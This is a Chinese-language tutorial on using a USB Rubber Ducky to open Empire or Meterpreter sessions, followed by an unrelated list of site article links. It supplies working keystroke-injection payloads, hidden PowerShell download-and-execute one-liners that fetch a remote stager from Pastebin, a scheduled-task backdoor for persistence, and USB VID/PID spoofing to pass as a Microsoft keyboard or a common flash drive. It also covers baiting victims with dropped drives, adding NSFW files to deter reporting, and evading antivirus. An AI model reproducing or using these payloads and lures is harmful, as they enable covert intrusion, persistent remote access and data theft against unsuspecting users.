利用USB橡皮鸭在目标机器上启动Empire或Meterpreter会话
今天我将教大家如何使用Rubber Ducky在渗透中建立Empire或Meterpreter会话连接。然而对于Ducky而言,想要完成大多数现实场景中的USB攻击,往往需要花费大量的时间去实践。本文概述了三种橡皮鸭速度的优化技术,以及最小化用户对Ducky的异常检测。
Rubber Ducky攻击向量
声东击西
当用户分散注意力时,随手将Ducky插入可访问的USB接口。
优点:能有效将Payload传递至目标系统;并且不易被用户发现。
缺点:这种方式通常时间较短,因此需要攻击者及USB的执行速度较快。其次,还需取决于对用户的欺骗以及USB接口的访问方便与否。
危险藏匿
在一些办公场所故意丢弃一个Ducky,例如接待处,停车场和浴室等这些地方通常成功率都相当高。为了不引起怀疑,我们可以将Ducky的标签更改为一些诱人的内容。除此之外,我们还可以利用联邦快递来传送Ducky,这将是一个很好的借口。
优点:显而易见相对于上种方式,你无需亲自去冒着被抓住的风险。当人们看到标有“2016度假照片”的USB时,好奇心总能驱使他们窥探。
缺点:用户在插入USB时会紧盯屏幕,因此容易发现问题。
神不知,鬼不觉
选择在深夜时间绕过物理安全控制,潜入无人值守的办公场所。
优点:一旦成功则不易被用户发现,且有足够的攻击时间。
缺点:风险巨大容易被抓住。
以上三种方式最常用的是前两种。可以看到这两种方式想要成功都必须有具备两个前提:速度和信任。下面我将通过优化Empire stager的传递执行时间,并尽可能的减少用户的怀疑。
标准方法
有关创建Empire stagers(传输器)的内容,请参阅Stagers 101。
使用Empire的stager/windows/ducky,我们得到以下结果:
完成时间:约38秒
输入字符:1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 字符
我们遇到的第一个问题是驱动程序问题。大多数机器之前从未运行或加载过Ducky(或者特定的VID/PID),所以你必须假设加载驱动程序,将是我们在物理攻击中相对耗时和必不可少的一部分。
乍一看,我们似乎可以选择直接从“运行”框启动base64编码命令来节约时间,但这是不可能的因为该框不会接受这么多的字符。
声东击西:在3秒内执行Pastebin
步骤1:BASE64解码STAGER
或者,你也可以使用Empire的multi/launcher将Base64选项设置为False来重新生成stager。
步骤2:将stager上传至Pastebin
将Base64解码的PowerShell复制粘贴至Pastebin并且保存原始路径。确保使用安全的https链接以避免检测。
示例请参阅:https://pastebin.com/raw/ani8ic5X
步骤3:创建一个POWERSHELL单线启动STAGER
powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
我们使用最小选项“-ep bypass”来绕过执行策略,而’-w h’可以帮助我们在用户界面隐藏PowerShell窗口。
步骤4:时间调整
默认的Empire时间(3000和1000)非常的保守。通过对不同系统的测试,我们可以将它改为以下值:
DELAY 500
GUI r
DELAY 100
步骤5:锁定USB VID和PID
要想进一步的隐藏Ducky,我们还需要修改USB的供应商ID(VID)和产品ID(PID)。因为我们只是执行键盘注入,所以让我们来欺骗微软(0x045E)通用的“键盘”(0xFFF8)。你可以在这里下载到Microsoft vidpid.bin文件,并将其内容另复制保存为vidpid.bin移放至Ducky根目录下。
$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤6:整合
完成时间:约3秒
输入字符:1 (r) + 114 (payload)+ 1 (ENTER) = 116 字符
DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER
下载pastebin-payload.txt,使用自己的方式交换Pastebin链接。
编译ducky有效载荷(更多信息,请参阅Rubber Ducky wiki):
$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin
危险藏匿:增加可信度
由于第二种方式涉及受害者与Ducky的直接交互,因此攻击必须具备较高的可信度。这里我们还将使用相同的Pastebin传送系统,首先我们要做的是准备好Ducky USB驱动器。
步骤1:将RUBBER DUCKY固件更新到Twin Duck
擦除并将Ducky固件更新到Twin Duck固件(截止本文发布其版本为c_duck_v2.1.hex)。有关更详细的固件更新说明请参阅:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky 。
1.安装dfu-programmer:
$ sudo apt-get update && sudo apt-get install dfu-programmer
2.删除Ducky的闪存卡,并按下按钮将Ducky插入主机。
3.擦除当前固件:
$ sudo dfu-programmer at32uc3b1256 erase
4.将固件更新为Twin Duck:
$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex
5. 重置Ducky使它再次工作:
$ sudo dfu-programmer at32uc3b1256 reset
步骤2:锁定USB VID和PID
这里我们来模拟最常见的USB闪存驱动器芯片组:Alcor Micro Corp的(0x058F)通用“Flash Drive”(0x6387)。你可以下载一个定制的Alcor Micro vidpid.bin文件,并将其复制到Ducky。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤3:为你的驱动器编造一个故事
例如只是一个目标公司CFO的驱动器,或是一个刚入公司的实习生的,这都将足以引起人们的好奇和窥探。同时,一个好的故事也将对下一步的成败起关键作用。
步骤4:添加驱动标签
在Linux中向FAT16驱动器添加标签的最简单方法是使用GParted。
- 通过读卡器加载MicroSD卡。
- 启动GParted并切换到USB驱动器(通常是/dev/sdb)
- 卸载驱动器(分区->卸载)
- 右键单击并转到“标签文件系统”,然后选择一个符合驱动器故事的标签
- 点击“应用”
步骤5:进一步的伪装
为了避免一些不必要的情况发生,例如用户将USB移交至IT部门,或拔掉网线电源导致大面积的故障出现,我们需要打造一个具有更好“用户体验”的驱动器。
- 在驱动器中添加虚拟内容(如图片,文档等),增加其可信度。(备注:添加NSFW的内容,使得受害者不太可能将驱动器移交给IT部门)
- 将’inject.bin’和’vidpid.bin’隐藏在Windows系统上。你可以使用 wine attrib + h 文件名 完成此操作,但我发现将SD卡加载到Windows机器上手动隐藏文件更加可靠。
步骤6:使用之前的PASTEBIN方法设置注入
Air Gapped系统和离线笔记本电脑:从存储执行
在这个例子中我们将创建一个有效负载,以在遇到那些未连接到互联网的计算机时也能创建一个持久性的会话。当然,这个有效载荷只是一个PoC。由于许多步骤与上述步骤相同,以下我只会说明每个步骤的不同之处。
步骤1:将RUBBER DUCKY固件更新到Twin Duck
步骤2:添加驱动标签
步骤3:BASE64解码EMPIRE STAGER并将其上传到PASTEBIN
步骤4:在POWERSHELL中创建调度任务
backdoor.ps1:
$PScommand = 'powershell -ep bypass -w h -enc '
$IEXPayload = "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)
$encCommand = [Convert]::ToBase64String($bytes)
$null = schtasks /Create /SC MINUTE /TN Updater /TR "$PScommand $encCommand"
注意:在本例中,脚本被设置为每隔60秒就检查一次互联网的访问,但在实际环境中,建议最好每隔几个小时甚至一天进行一次检查。
步骤5:将BACKDOOR.PS1添加到橡皮鸭
为了尽可能的减少Ducky需要输入的字符数量,我们将其重命名为“b.ps1”。
$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1
步骤6:创建一个POWERSHELL单线启动BACKDOOR
我们需要找到 DUCKY SD的挂载字母,程序首先会寻找标有“DUCKY”的驱动器,然后提取该驱动器的字母,并将PowerShell文件追加到字符串并执行该脚本。
Windows 7-10(gwmi方法) - 104个字符
powershell -ep bypass -w h -c ".(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'b.ps1')"
Windows 8-10(Get-Volume方法) - 94个字符
powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':b.ps1')"
步骤7:设置时间
DELAY 2800
GUI r
DELAY 150
步骤8:锁定USB VID和PID
让我们再次来模拟Alcor Micro Corp的(0x058F)通用“Flash Drive”(0x6387)。你可以在这里下载。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步骤9:整合(GET-VOLUME方法)
完成时间:约9秒
输入字符: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 字符
DELAY 2800
GUI r
DELAY 150
STRING powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':b.ps1')"
ENTER
点击文末的阅读原文下载Get-Volume有效载荷,以及gwmi版本。
总结
在此前我们使用默认的Empire Ducky脚本,而它有足足2,670个字符,并且执行所花费时间也达到了38秒之久。在进行了相应的优化后,我们使用基于web的Empire stager,将执行时间缩短到了3秒,并且输入字符也减少到了116个。这意味只要3秒钟攻击者就可以成功渗透目标,并且难以被发现。我们还学习到如何创建一个具有较高可信度和用户体验的USB驱动器。这些人为因素的添加,大大降低了检测和事件报告率。最后,我们检查了从Ducky的内部磁盘执行脚本的PoC,即使计算机未连接到互联网时也能创建一个持久性的会话。以上讨论的所有技术都是无文件式攻击,因此对于绕过AV也有一定的效果。为了增加攻击的更加隐蔽性,在这里我建议大家尽可能的使用自己的基础设施/托管而不是Pastebin,因为许多这类比较知名的网站,在企业网络环境中极易被阻断和隔离。
- struts2+spring+hibernate整合步骤(2)
- Spring入门这一篇就够了
- Mybatis面试题
- 从业务角度分析奇怪的数据库高负载问题 (r4笔记第35天)
- 数据结构03 线性表之链表
- Java基础-12(01)总结Scanner,String
- 通过shell绑定系统进程调优 (r4笔记第34天)
- Mybatis【入门】
- 数据结构04 链表的面试题
- 数据结构05 栈
- Mybatis【配置文件】
- Java 非线程安全的HashMap如何在多线程中使用
- Java基础-12(02)总结Scanner,String
- MySQL和Oracle对比学习之数据字典元数据(r4笔记第33天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 6个实例详解如何把if-else代码重构成高质量代码
- leetcode201场周赛
- ASP.NET MVC+LayUI视频上传
- Linux执行tar解压报错tar: Error is not recoverable: exiting now
- elasticSearch学习(四)
- 在美帝的服务器的prefetch和aspera下载比较
- 全面介绍eBPF-概念
- 在ubuntu20上面安装R4
- 冷饭新炒:理解Snowflake算法的实现原理
- Python基础之算数运算符
- 一文带你领略并发编程的内功心法
- HBase监控
- CVPR19-Deep Stacked Hierarchical Multi-patch Network for Image Deblurring
- HTTP缓存机制与Cookie
- 52. Vue使用watch监听网页的URL变化